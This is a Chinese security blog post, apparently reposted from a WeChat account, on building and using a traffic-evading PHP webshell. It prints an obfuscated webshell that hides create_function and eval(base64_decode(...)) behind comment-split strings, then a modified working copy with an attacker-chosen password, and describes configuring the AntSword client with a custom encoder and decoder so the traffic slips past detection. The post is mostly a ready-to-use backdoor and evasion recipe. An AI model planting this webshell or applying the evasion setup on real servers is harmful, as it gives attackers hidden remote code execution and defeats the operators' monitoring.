某流量躲避webshell诞生记

admin 2024年3月3日04:25:16评论10 views字数 2500阅读8分20秒阅读模式

0x00 背景

朋友发的,乍一看内容,挺复杂,当时想着可以手动把注释删除一下,应该就能看到原始代码了,挺繁琐的就没动手。

<?php /*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*die;*/();/*exit("TP");*/ ?> 

但是没想到,ai很快啊,就吐出来解密后的代码

@session_start();if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));

红衣老板说下一个风口在AI,果然让人大吃一惊

某流量躲避webshell诞生记

又仔细一看,直接手动将base64编码后的字符串解码也能拿到明文。

关于代码具体的执行逻辑,ai解释说明已经很清晰了

某流量躲避webshell诞生记

0x01 实际测试

逻辑出来了,测试也就很简单。

打开phpstudy,起一个文件,先试试明文的

<?php@session_start();if(isset($_POST['code']))  substr(sha1(md5($_POST['a'])),36)=='6fb3'&&$_SESSION['theCode']=$_POST['code'];
if(isset($_SESSION['theCode'])) @eval(base64_decode($_SESSION['theCode']));

原来的密码拿不到,直接修改后四位为已知某个字符串,此处为abc,然后将要执行的命令给base64编码一下,实际测试

某流量躲避webshell诞生记

测试混淆代码,执行无问题。

<?php /*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("IEBzZXNzaW9uX3N0YXJ0KCk7aWYoaXNzZXQoJF9QT1NUWydjb2RlJ10pKXN1YnN0cihzaGExKG1kNSgkX1BPU1RbJ2EnXSkpLDM2KT09JzZmYjMnJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT0kX1BPU1RbJ2NvZGUnXTtpZihpc3NldCgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpQGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOyA"));');$EB/*die;*/();/*exit("TP");*/ ?>

0x02 工具连接

接下来尝试蚁剑来连接webshell,

配置code作为webshell密码,body增加验证参数

某流量躲避webshell诞生记

用burp抓包,观察蚁剑数据包格式,可以看到蚁剑原始的数据包格式

某流量躲避webshell诞生记

显然此时与webshell内容不匹配,无法正常解析。

考虑蚁剑的编码器,新建一个编码器,具体编码器为直接将base64处理后的payload赋值给webshell的密码字段即code字段

某流量躲避webshell诞生记

设置webshell连接使用的编码器选择当前自己编写的编码器

某流量躲避webshell诞生记

测试,发现成功连接,考虑到返回数据包的特征问题,使用一层解码器,流量检测躲避效果嘎嘎滴。

某流量躲避webshell诞生记

效果实现,至此Over!

关于蚁剑、编码器、解码器更多的玩法,因为开源可以自己看代码。

原文始发于微信公众号(here404):某流量躲避webshell诞生记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月3日04:25:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某流量躲避webshell诞生记http://cn-sec.com/archives/2542327.html

发表评论

匿名网友 填写信息